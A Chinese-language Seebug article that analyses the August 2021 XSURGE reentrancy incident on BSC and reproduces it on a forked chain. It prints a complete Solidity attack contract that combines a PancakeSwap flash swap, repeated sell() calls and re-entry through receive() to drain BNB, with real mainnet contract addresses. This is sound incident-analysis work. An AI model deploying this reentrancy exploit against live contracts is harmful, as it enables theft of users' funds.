复现 8月17日 XSURGE 被攻击事件
2021-08-26 17:06:00 Author: paper.seebug.org(查看原文) 阅读量:68 收藏

作者:w2ning
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]

概述

上周8 月 17 日,BSC上的XSURGE被攻击。 攻击者利用闪电贷+重入攻击反复低买高卖, 导致项目损失约500万美金。

本文尝试对漏洞原理进行分析,并搭建环境完整复现整个攻击流程。

问题代码

  • sell() 函数中存在Low-level-call函数调用,虽然使用了nonReentrant(), 但无法防御其他函数被异常调用的攻击场景

  • 这里的卖出逻辑在顺序上有误,BNB已经被返回给用户,而_totalSupply还未被更改

  • Surge的价格由该合约地址的BNB余额和_totalSupply计算而来 image

  • 既然有sell() 函数, 那是不是应该有buy()函数呢?并没有,直到我发现了purchase() image

  • 好吧,是我词汇量太差了 image

  • purchase()函数在receive()中触发 image

  • Solidity 0.6.0之后的版本中,无名函数被分化成了fallback()receive()

一个合约只能有一个receive函数,该函数不能有参数和返回值,需设置为external,payable;

当该合约收到BNB但并未被调用任何函数,未接受任何数据,receive函数将被触发;

  • 也就是说我们可以通过直接向合约转账的方式购买Surge

该合约代码中,处处显露着开发者抖的小机灵,字里行间写满着不规范。 项目方直接在Token合约中提供了流动性。 连在DEX上提供交易对的步骤都可以省略,土狗的气息扑面而来。

事件分析

  • 攻击合约
0x59c686272e6f11dC8701A162F938fb085D940ad3
  • 攻击交易
0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2

imaga

  • 被攻击合约同时也是SurgeToekn合约地址
0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21

攻击流程

  • 第一步 从Pancake 通过flashSwap借出 10000 个WBNB

由于PancakeSwap 借鉴了Uniswap V2的代码,所以同样拥有flashSwap的功能

虽然Pancake的官方文档并没有提及这一功能,但不代表它没有

显然,PancakeSwap上的flashSwap调用方法与Uniswap V2也没有区别

https://docs.uniswap.org/protocol/V2/guides/smart-contract-integration/using-flash-swaps image

  • 第二步 把10000个WBNB换成10000个BNB

如果WBNBWETH10一样提供flashMint就更方便了

  • 循环攻击SurgeToken合约(共6次)

image

  • 调用WBNB的Deposit,把赚到的22191个BNB存入,换成等额的WBNB

image

  • 调用WBNB的transfer,把10030个WBNB归还给Pancake

image

  • 调用WBNB合约的Withdrawal,把12161个WBNB取出,完成攻击

image

复现方法

  • 攻击发生在高度为10087724的块上,所以同样我们选择稍早的块10087723去Fork。

  • 在编写攻击代码的过程中,我尝试用solidity 0.8.0高版本去还原攻击者的全部流程。

  • 要注意的是,在receive()函数中要区分向攻击合约发送BNB的地址是来自WBNB合约还是SurgeToken合约

  • 因为攻击流程中,WBNB也会向攻击合约发送BNB,此时不应该触发攻击逻辑。

receive() external payable {
    // 如果转账地址为SurgerToken,且循环次数不满6次,则触发攻击逻辑
    if(msg.sender == Surge_Address && time < 6){

        // 此时SurgeToken的TotalSupply还未更改
        // 而卖出操作返还的BNB已经打回了攻击合约账户
        // 通过重入,强行购买,就可以用更低的价格购买Surge
        (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");
        time++;
}
  • 而在调用PancakeSwapFlashSwap功能处,为了不引入外部文件,我并没有选择套利者通用的代码模板, 而是自己写了简陋的interface,把Pair地址写死,而不是去PancakeFactory上查询,在已知Token0Token1的情况下,也没有加入校验的逻辑。终于完成了对该功能的最小化实现。

  • 完整攻击合约代码

// SPDX-License-Identifier: Apache-2.0
pragma solidity =0.8.0;

interface IpancakePair{
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;

    function token0() external view returns (address);
    function token1() external view returns (address);

}

interface WBNB {

    function deposit() payable external;
    function withdraw(uint wad) external;
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
}


interface Token {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
}

interface Surge{
    function sell(uint256 tokenAmount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external  returns (bool);
}


contract  test{

    address private constant cake_Address = 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82;

    address private constant WBNB_Address = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;

    address private constant Pancake_Pair_Address = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;

    address public constant Surge_Address = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;

    // 这里填你自己的测试地址
    address public wallet = 0x8F14c19ed3d592039D2F6aD372bd809228369D77;

    uint8 public time = 0;



    function Attack()external {

        // Brrow 10000 WBNB
        bytes memory data = abi.encode(WBNB_Address, 10000*1e18);

        IpancakePair(Pancake_Pair_Address).swap(0,10000*1e18,address(this),data);

    }

    function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external{

        //把WBNB换成BNB
        WBNB(WBNB_Address).withdraw(WBNB(WBNB_Address).balanceOf(address(this)));

        // Buy
        (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");

        //循环6次
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));
        Surge(Surge_Address).sell(Surge(Surge_Address).balanceOf(address(this)));

        //把所有BNB换成WBNB
        WBNB(WBNB_Address).deposit{value: address(this).balance}();

        //还给PancakeSwap 10030个WBNB
        Token(WBNB_Address).transfer(Pancake_Pair_Address, 10030*1e18);
        WBNB(WBNB_Address).transfer(wallet,WBNB(WBNB_Address).balanceOf(address(this)));
    }



    receive() external payable {

        if(msg.sender == Surge_Address && time < 6){

            (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40000}("");

            time++;

        }
    }

}
  • 攻击前的Metamask钱包余额 image

  • 部署合约 点击Attack

image

  • 攻击完成后地址上多了11869个WBNB (本来应该还给Pancake 10030个WBNB的,代码写错了还了10300个...)

image


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1686/


文章来源: http://paper.seebug.org/1686/
如有侵权请联系:admin#unsafe.sh